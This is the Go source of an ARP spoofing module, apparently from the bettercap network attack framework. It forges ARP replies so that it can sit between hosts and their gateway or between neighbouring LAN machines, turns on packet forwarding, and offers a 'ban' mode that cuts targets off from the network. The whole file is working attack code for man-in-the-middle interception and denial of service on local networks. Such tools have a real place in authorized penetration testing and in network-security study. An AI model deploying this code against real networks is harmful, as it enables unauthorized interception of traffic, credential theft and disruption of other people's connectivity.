arp_spoof.go 9.2 KB

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168169170171172173174175176177178179180181182183184185186187188189190191192193194195196197198199200201202203204205206207208209210211212213214215216217218219220221222223224225226227228229230231232233234235236237238239240241242243244245246247248249250251252253254255256257258259260261262263264265266267268269270271272273274275276277278279280281282283284285286287288289290291292293294295296297298299300301302303304305306307308309310311312313314315316317318319320321322323324325326327328329330331332333
  1. package arp_spoof
  2. import (
  3. "bytes"
  4. "net"
  5. "strings"
  6. "sync"
  7. "time"
  8. "github.com/bettercap/bettercap/network"
  9. "github.com/bettercap/bettercap/packets"
  10. "github.com/bettercap/bettercap/session"
  11. "github.com/malfunkt/iprange"
  12. )
  13. type ArpSpoofer struct {
  14. session.SessionModule
  15. addresses []net.IP
  16. macs []net.HardwareAddr
  17. wAddresses []net.IP
  18. wMacs []net.HardwareAddr
  19. fullDuplex bool
  20. internal bool
  21. ban bool
  22. skipRestore bool
  23. waitGroup *sync.WaitGroup
  24. }
  25. func NewArpSpoofer(s *session.Session) *ArpSpoofer {
  26. mod := &ArpSpoofer{
  27. SessionModule: session.NewSessionModule("arp.spoof", s),
  28. addresses: make([]net.IP, 0),
  29. macs: make([]net.HardwareAddr, 0),
  30. wAddresses: make([]net.IP, 0),
  31. wMacs: make([]net.HardwareAddr, 0),
  32. ban: false,
  33. internal: false,
  34. fullDuplex: false,
  35. skipRestore: false,
  36. waitGroup: &sync.WaitGroup{},
  37. }
  38. mod.SessionModule.Requires("net.recon")
  39. mod.AddParam(session.NewStringParameter("arp.spoof.targets", session.ParamSubnet, "", "Comma separated list of IP addresses, MAC addresses or aliases to spoof, also supports nmap style IP ranges."))
  40. mod.AddParam(session.NewStringParameter("arp.spoof.whitelist", "", "", "Comma separated list of IP addresses, MAC addresses or aliases to skip while spoofing."))
  41. mod.AddParam(session.NewBoolParameter("arp.spoof.internal",
  42. "false",
  43. "If true, local connections among computers of the network will be spoofed, otherwise only connections going to and coming from the external network."))
  44. mod.AddParam(session.NewBoolParameter("arp.spoof.fullduplex",
  45. "false",
  46. "If true, both the targets and the gateway will be attacked, otherwise only the target (if the router has ARP spoofing protections in place this will make the attack fail)."))
  47. noRestore := session.NewBoolParameter("arp.spoof.skip_restore",
  48. "false",
  49. "If set to true, targets arp cache won't be restored when spoofing is stopped.")
  50. mod.AddObservableParam(noRestore, func(v string) {
  51. if strings.ToLower(v) == "true" || v == "1" {
  52. mod.skipRestore = true
  53. mod.Warning("arp cache restoration after spoofing disabled")
  54. } else {
  55. mod.skipRestore = false
  56. mod.Debug("arp cache restoration after spoofing enabled")
  57. }
  58. })
  59. mod.AddHandler(session.NewModuleHandler("arp.spoof on", "",
  60. "Start ARP spoofer.",
  61. func(args []string) error {
  62. return mod.Start()
  63. }))
  64. mod.AddHandler(session.NewModuleHandler("arp.ban on", "",
  65. "Start ARP spoofer in ban mode, meaning the target(s) connectivity will not work.",
  66. func(args []string) error {
  67. mod.ban = true
  68. return mod.Start()
  69. }))
  70. mod.AddHandler(session.NewModuleHandler("arp.spoof off", "",
  71. "Stop ARP spoofer.",
  72. func(args []string) error {
  73. return mod.Stop()
  74. }))
  75. mod.AddHandler(session.NewModuleHandler("arp.ban off", "",
  76. "Stop ARP spoofer.",
  77. func(args []string) error {
  78. return mod.Stop()
  79. }))
  80. return mod
  81. }
  82. func (mod ArpSpoofer) Name() string {
  83. return "arp.spoof"
  84. }
  85. func (mod ArpSpoofer) Description() string {
  86. return "Keep spoofing selected hosts on the network."
  87. }
  88. func (mod ArpSpoofer) Author() string {
  89. return "Simone Margaritelli <evilsocket@gmail.com>"
  90. }
  91. func (mod *ArpSpoofer) Configure() error {
  92. var err error
  93. var targets string
  94. var whitelist string
  95. if err, mod.fullDuplex = mod.BoolParam("arp.spoof.fullduplex"); err != nil {
  96. return err
  97. } else if err, mod.internal = mod.BoolParam("arp.spoof.internal"); err != nil {
  98. return err
  99. } else if err, targets = mod.StringParam("arp.spoof.targets"); err != nil {
  100. return err
  101. } else if err, whitelist = mod.StringParam("arp.spoof.whitelist"); err != nil {
  102. return err
  103. } else if mod.addresses, mod.macs, err = network.ParseTargets(targets, mod.Session.Lan.Aliases()); err != nil {
  104. return err
  105. } else if mod.wAddresses, mod.wMacs, err = network.ParseTargets(whitelist, mod.Session.Lan.Aliases()); err != nil {
  106. return err
  107. }
  108. mod.Debug(" addresses=%v macs=%v whitelisted-addresses=%v whitelisted-macs=%v", mod.addresses, mod.macs, mod.wAddresses, mod.wMacs)
  109. if mod.ban {
  110. mod.Warning("running in ban mode, forwarding not enabled!")
  111. mod.Session.Firewall.EnableForwarding(false)
  112. } else if !mod.Session.Firewall.IsForwardingEnabled() {
  113. mod.Info("enabling forwarding")
  114. mod.Session.Firewall.EnableForwarding(true)
  115. }
  116. return nil
  117. }
  118. func (mod *ArpSpoofer) Start() error {
  119. if err := mod.Configure(); err != nil {
  120. return err
  121. }
  122. nTargets := len(mod.addresses) + len(mod.macs)
  123. if nTargets == 0 {
  124. mod.Warning("list of targets is empty, module not starting.")
  125. return nil
  126. }
  127. return mod.SetRunning(true, func() {
  128. neighbours := []net.IP{}
  129. if mod.internal {
  130. list, _ := iprange.ParseList(mod.Session.Interface.CIDR())
  131. neighbours = list.Expand()
  132. nNeigh := len(neighbours) - 2
  133. mod.Warning("arp spoofer started targeting %d possible network neighbours of %d targets.", nNeigh, nTargets)
  134. } else {
  135. mod.Info("arp spoofer started, probing %d targets.", nTargets)
  136. }
  137. if mod.fullDuplex {
  138. mod.Warning("full duplex spoofing enabled, if the router has ARP spoofing mechanisms, the attack will fail.")
  139. }
  140. mod.waitGroup.Add(1)
  141. defer mod.waitGroup.Done()
  142. gwIP := mod.Session.Gateway.IP
  143. myMAC := mod.Session.Interface.HW
  144. for mod.Running() {
  145. mod.arpSpoofTargets(gwIP, myMAC, true, false)
  146. for _, address := range neighbours {
  147. if !mod.Session.Skip(address) {
  148. mod.arpSpoofTargets(address, myMAC, true, false)
  149. }
  150. }
  151. time.Sleep(1 * time.Second)
  152. }
  153. })
  154. }
  155. func (mod *ArpSpoofer) unSpoof() error {
  156. if !mod.skipRestore {
  157. nTargets := len(mod.addresses) + len(mod.macs)
  158. mod.Info("restoring ARP cache of %d targets.", nTargets)
  159. mod.arpSpoofTargets(mod.Session.Gateway.IP, mod.Session.Gateway.HW, false, false)
  160. if mod.internal {
  161. list, _ := iprange.ParseList(mod.Session.Interface.CIDR())
  162. neighbours := list.Expand()
  163. for _, address := range neighbours {
  164. if !mod.Session.Skip(address) {
  165. if realMAC, err := mod.Session.FindMAC(address, false); err == nil {
  166. mod.arpSpoofTargets(address, realMAC, false, false)
  167. }
  168. }
  169. }
  170. }
  171. } else {
  172. mod.Warning("arp cache restoration is disabled")
  173. }
  174. return nil
  175. }
  176. func (mod *ArpSpoofer) Stop() error {
  177. return mod.SetRunning(false, func() {
  178. mod.Info("waiting for ARP spoofer to stop ...")
  179. mod.unSpoof()
  180. mod.ban = false
  181. mod.waitGroup.Wait()
  182. })
  183. }
  184. func (mod *ArpSpoofer) isWhitelisted(ip string, mac net.HardwareAddr) bool {
  185. for _, addr := range mod.wAddresses {
  186. if ip == addr.String() {
  187. return true
  188. }
  189. }
  190. for _, hw := range mod.wMacs {
  191. if bytes.Equal(hw, mac) {
  192. return true
  193. }
  194. }
  195. return false
  196. }
  197. func (mod *ArpSpoofer) getTargets(probe bool) map[string]net.HardwareAddr {
  198. targets := make(map[string]net.HardwareAddr)
  199. // add targets specified by IP address
  200. for _, ip := range mod.addresses {
  201. if mod.Session.Skip(ip) {
  202. continue
  203. }
  204. // do we have this ip mac address?
  205. if hw, err := mod.Session.FindMAC(ip, probe); err == nil {
  206. targets[ip.String()] = hw
  207. }
  208. }
  209. // add targets specified by MAC address
  210. for _, hw := range mod.macs {
  211. if ip, err := network.ArpInverseLookup(mod.Session.Interface.Name(), hw.String(), false); err == nil {
  212. if mod.Session.Skip(net.ParseIP(ip)) {
  213. continue
  214. }
  215. targets[ip] = hw
  216. }
  217. }
  218. return targets
  219. }
  220. func (mod *ArpSpoofer) arpSpoofTargets(saddr net.IP, smac net.HardwareAddr, check_running bool, probe bool) {
  221. mod.waitGroup.Add(1)
  222. defer mod.waitGroup.Done()
  223. gwIP := mod.Session.Gateway.IP
  224. gwHW := mod.Session.Gateway.HW
  225. ourHW := mod.Session.Interface.HW
  226. isGW := false
  227. isSpoofing := false
  228. // are we spoofing the gateway IP?
  229. if net.IP.Equal(saddr, gwIP) {
  230. isGW = true
  231. // are we restoring the original MAC of the gateway?
  232. if !bytes.Equal(smac, gwHW) {
  233. isSpoofing = true
  234. }
  235. }
  236. if targets := mod.getTargets(probe); len(targets) == 0 {
  237. mod.Warning("could not find spoof targets")
  238. } else {
  239. for ip, mac := range targets {
  240. if check_running && !mod.Running() {
  241. return
  242. } else if mod.isWhitelisted(ip, mac) {
  243. mod.Debug("%s (%s) is whitelisted, skipping from spoofing loop.", ip, mac)
  244. continue
  245. } else if saddr.String() == ip {
  246. continue
  247. }
  248. rawIP := net.ParseIP(ip)
  249. if err, pkt := packets.NewARPReply(saddr, smac, rawIP, mac); err != nil {
  250. mod.Error("error while creating ARP spoof packet for %s: %s", ip, err)
  251. } else {
  252. mod.Debug("sending %d bytes of ARP packet to %s:%s.", len(pkt), ip, mac.String())
  253. mod.Session.Queue.Send(pkt)
  254. }
  255. if mod.fullDuplex && isGW {
  256. err := error(nil)
  257. gwPacket := []byte(nil)
  258. if isSpoofing {
  259. mod.Debug("telling the gw we are %s", ip)
  260. // we told the target we're te gateway, not let's tell the
  261. // gateway that we are the target
  262. if err, gwPacket = packets.NewARPReply(rawIP, ourHW, gwIP, gwHW); err != nil {
  263. mod.Error("error while creating ARP spoof packet: %s", err)
  264. }
  265. } else {
  266. mod.Debug("telling the gw %s is %s", ip, mac)
  267. // send the gateway the original MAC of the target
  268. if err, gwPacket = packets.NewARPReply(rawIP, mac, gwIP, gwHW); err != nil {
  269. mod.Error("error while creating ARP spoof packet: %s", err)
  270. }
  271. }
  272. if gwPacket != nil {
  273. mod.Debug("sending %d bytes of ARP packet to the gateway", len(gwPacket))
  274. if err = mod.Session.Queue.Send(gwPacket); err != nil {
  275. mod.Error("error while sending packet: %v", err)
  276. }
  277. }
  278. }
  279. }
  280. }
  281. }